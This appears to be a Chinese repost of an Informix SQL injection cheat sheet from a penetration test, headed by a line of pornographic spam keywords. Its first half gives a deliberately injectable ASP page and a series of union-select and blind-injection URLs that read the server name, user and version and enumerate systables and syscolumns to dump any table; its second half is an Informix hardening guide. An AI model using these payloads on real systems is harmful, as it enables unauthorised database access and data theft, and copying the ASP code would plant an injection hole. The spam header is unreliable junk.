五月综合激情婷婷六月,日韩欧美国产一区不卡,他扒开我内裤强吻我下面视频 ,无套内射无矿码免费看黄,天天躁,日日躁,狠狠躁

新聞動(dòng)態(tài)

Informix注入整理

發(fā)布日期:2021-12-19 04:09 | 文章來(lái)源:源碼中國(guó)
前些時(shí)間做一個(gè)滲透測(cè)試,數(shù)據(jù)庫(kù)是informix的。整理了一下。

informix數(shù)據(jù)類(lèi)型比較復(fù)雜,在union查詢(xún)中最郁悶的就是匹配字段的問(wèn)題
數(shù)據(jù)類(lèi)型如下
informix的字段類(lèi)型
char(size)
varchar(size)
serial
nchar(size)
nvarchar(size)
real
interval
date
datetime
integer
smallint
float
smallfloat
money(p,s)
decimal(p,s)
text
byte
如果字段數(shù)量和類(lèi)型都匹配了 那么得到數(shù)據(jù)很容易
****************************************************
測(cè)試環(huán)境:
reate table test(name char(32),id int)
****************************************************
ASP代碼
====================================================
<%
Set conn=Server.CreateObject("ADODB.CONNECTION")
Set rs=Server.CreateObject("ADODB.RecordSet")
conn.open "dsn=poison;uid=informix;pwd=xxxxxx"
id=request("id")
strSQL = "select name from test where id=" & id
set rs=conn.execute(strSQL)
response.write(rs("name"))
rs.close
conn.close
%>
=====================================================
http://127.0.0.1/aaa.asp?id=1 and 1=1 union select dbservername from systables;
dbservername,返回?cái)?shù)據(jù)庫(kù)服務(wù)器的名稱(chēng)
http://127.0.0.1/aaa.asp?id=1 and 1=1 union select user from systables;
user,返回執(zhí)行查詢(xún)的用戶(hù)的用戶(hù)名(登陸帳戶(hù)名)
http://127.0.0.1/aaa.asp?id=1 and 1=1 union select to_char(today) from systables;
http://127.0.0.1/aaa.asp?id=1 and 1=1 union select to_char(dbinfo(’sqlca.sqlerrd1’)) from systables;
返回任何表中插入的最后一個(gè)SERIAL值
http://127.0.0.1/aaa.asp?id=1 and 1=1 union select to_char(dbinfo(’version’, ’full’)) from systables;
***************************************************************************************************************************

得到任何數(shù)據(jù)
兩個(gè)重要的系統(tǒng)表
systables:描述數(shù)據(jù)庫(kù)中的很張表;
syscolumns:描述數(shù)據(jù)庫(kù)中表的列;
==============================================
select * from systables
tabname syscolumns
owner informix
partnum 1048580
tabid 2
rowsize 157
ncols 10
nindexes 2
nrows 2353.000000000
created 04/28/2008
version 65539
tabtype T
locklevel R
npused 25.00000000000
fextsize 32
nextsize 32
flags 0
site
dbname
type_xid 0
am_id 0
pagesize 4096
ustlowts 2008-04-28 22:26:00.00000
secpolicyid 0
protgranularity
==================================================
select * from syscolumns
colname tabname
tabid 1
colno 1
coltype 13
collength 128
colmin 541543519
colmax 1937339256
extended_id 0
seclabelid 0
colattr 0
===================================================
這樣就可以得到任何表任何列的信息了
http://127.0.0.1/aaa.asp?id=1 and 1=1 union select to_char(count(*)) from systables
因?yàn)閕nformix中利用first n 經(jīng)常會(huì)出現(xiàn)"Cannot use "first", "limit" or "skip" in this context"的問(wèn)題
(我也不知道什么原因 一些工具也就無(wú)法遞歸猜解數(shù)據(jù))
systables 中tabid順序排列 可以窮舉得到所有表名
http://127.0.0.1/aaa.asp?id=1 and 1=2 union select tabname from systables where tabid=1
http://127.0.0.1/aaa.asp?id=1 and 1=2 union select tabname from systables where tabid=n
得到tabid和tabname的對(duì)應(yīng)關(guān)系
and 1=2 union select colname from syscolumns where tabid=1
http://127.0.0.1/aaa.asp?id=1 and 1=2 union select colname from syscolumns where tabid=100 and colno=1
http://127.0.0.1/aaa.asp?id=1 and 1=2 union select colname from syscolumns where tabid=100 and colno=2
http://127.0.0.1/aaa.asp?id=1 and 1=2 union select colname from syscolumns where tabid=100 and colno=n
得到tabid=100 對(duì)應(yīng)表的所有列
表列都有了 直接暴數(shù)據(jù)
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
不能union只能以為以為去猜 和ACCESS沒(méi)什么太大的區(qū)別
注意只是一些函數(shù)的差別
length長(zhǎng)度
substr 返回字符串中的某一部分,例substr(col,1,2)
substring 返回字符串中的某一部分,例substring(col,from 1 to 4)
我沒(méi)有找到ASCII轉(zhuǎn)化的函數(shù)
可以用字符表示 例’a’=substr(admin,1,1)
或者用十六進(jìn)制函數(shù)
hex返回表達(dá)式的十六進(jìn)制數(shù)

保護(hù)informix
為服務(wù)器持續(xù)打補(bǔ)丁
每當(dāng)IBM發(fā)布新補(bǔ)丁的時(shí)候,應(yīng)該盡可能地測(cè)試這些補(bǔ)丁并將其部署到生產(chǎn)系統(tǒng)上去
加密網(wǎng)絡(luò)通信量
應(yīng)該加密服務(wù)器和客戶(hù)機(jī)之間的通信量。這有助于保護(hù)用戶(hù)賬戶(hù)以及阻止通過(guò)網(wǎng)絡(luò)竊取數(shù)據(jù)。通過(guò)使用Communication Support Module(通信支持模塊)可以實(shí)現(xiàn)這一點(diǎn)。請(qǐng)參看Informix Server Administrator’s Guide(Informix服務(wù)器管理員指南)

取消Public的Connect特權(quán)
默認(rèn)地,public被授予了connect特權(quán)。這意味著任何人,只要持有有效的操作系統(tǒng)用戶(hù)ID和口令,都可以連接到數(shù)據(jù)庫(kù)服務(wù)器。

啟用審計(jì)
應(yīng)該對(duì)關(guān)鍵事件進(jìn)行審計(jì),例如登陸嘗試失敗。更多細(xì)節(jié)請(qǐng)參看Administrators Guid或者Trusted Facility Guide。

取消Public對(duì)文件訪問(wèn)例程的權(quán)限
默認(rèn)地,public可以執(zhí)行文件訪問(wèn)函數(shù),例如lotofile、filetoclob 和ifx_file_to_file。這將允許攻擊者讀、寫(xiě)服務(wù)器上的文件。為幫助解決這一安全漏洞,創(chuàng)建一個(gè)名為FileAccess的角色,按照嚴(yán)格的業(yè)務(wù)需求,只把那些需要訪問(wèn)文件的用戶(hù)分配為該角色的成員。然后為該角色分配對(duì)文件訪問(wèn)例程的執(zhí)行權(quán)限,并取消public的執(zhí)行權(quán)限。
取消Public對(duì)模塊例程的執(zhí)行權(quán)限
默認(rèn)地,public可以執(zhí)行模塊函數(shù),例如ifx_replace_module、ifx_load_internal和reload_module。這將允許攻擊者強(qiáng)制Informix服務(wù)器加載任意的庫(kù)并像Informix用戶(hù)一樣執(zhí)行代碼。為幫助解決這一安全漏洞,創(chuàng)建一個(gè)名為 ModuleAccess的角色,按照嚴(yán)格的業(yè)務(wù)需求,只把那些需要加載模塊的用戶(hù)分配為該角色的成員。然后為該角色分配對(duì)這些例程的執(zhí)行權(quán)限,并取消 public的執(zhí)行權(quán)限。
阻止轉(zhuǎn)儲(chǔ)共享內(nèi)存
在服務(wù)器崩潰事件中,可以將Informix配置為將共享內(nèi)存段轉(zhuǎn)儲(chǔ)到磁盤(pán)。這是默認(rèn)配置。因?yàn)檫@些轉(zhuǎn)儲(chǔ)文件是完全可讀的且包含用戶(hù)名和口令,將Informix配置為不轉(zhuǎn)儲(chǔ)共享內(nèi)存將更合適。為此,編輯onconfig文件并將 DUMPSHMEM參數(shù)設(shè)置為0。然后停止并重啟服務(wù)器。
阻止對(duì)基于Unix的服務(wù)器的本地攻擊
Informix遭受的基于Unix平臺(tái)的大部分本地安全問(wèn)題都源自setuid root程序和setgid Informix程序。為了列舉所有這樣的程序,轉(zhuǎn)到$INFORMIXDIR/bin目錄下并發(fā)出下面的命令:
find ./ -perm 4000
這將列舉bin目錄內(nèi)的全部setuid程序。防止本地用戶(hù)攻擊setuid程序的最簡(jiǎn)單的辦法是刪除other的執(zhí)行權(quán)限;實(shí)際上,可以簡(jiǎn)單地刪除others的全部權(quán)限:
chmod * o-rwx

限制語(yǔ)言Usage權(quán)限
應(yīng)該限制被授予了C和Java例程語(yǔ)言u(píng)sage權(quán)限的用戶(hù)的數(shù)量。擁有這些語(yǔ)言的usage權(quán)限的任何人都可以像Informix用戶(hù)一樣運(yùn)行代碼。

有用文檔
下述文檔值得一讀:
IBM Informix Dynamic Server Administrator’s Guide:http://publibfp.boulder.ibm.com/epubs/pdf/ct1ucna.pdf
IBM Informix Trusted Facility Guide:http://publibfp.boulder.ibm.com/epubs/pdf/ct1tbna.pdf
IBM Informix Guide to SQL:http://publibfi.boulder.ibm.com/epubs/pdf/ct1sqna.pdf

版權(quán)聲明:本站文章來(lái)源標(biāo)注為YINGSOO的內(nèi)容版權(quán)均為本站所有,歡迎引用、轉(zhuǎn)載,請(qǐng)保持原文完整并注明來(lái)源及原文鏈接。禁止復(fù)制或仿造本網(wǎng)站,禁止在非maisonbaluchon.cn所屬的服務(wù)器上建立鏡像,否則將依法追究法律責(zé)任。本站部分內(nèi)容來(lái)源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來(lái),僅供學(xué)習(xí)參考,不代表本站立場(chǎng),如有內(nèi)容涉嫌侵權(quán),請(qǐng)聯(lián)系alex-e#qq.com處理。

相關(guān)文章

實(shí)時(shí)開(kāi)通

自選配置、實(shí)時(shí)開(kāi)通

免備案

全球線路精選!

全天候客戶(hù)服務(wù)

7x24全年不間斷在線

專(zhuān)屬顧問(wèn)服務(wù)

1對(duì)1客戶(hù)咨詢(xún)顧問(wèn)

在線
客服

在線客服:7*24小時(shí)在線

客服
熱線

400-630-3752
7*24小時(shí)客服服務(wù)熱線

關(guān)注
微信

關(guān)注官方微信
頂部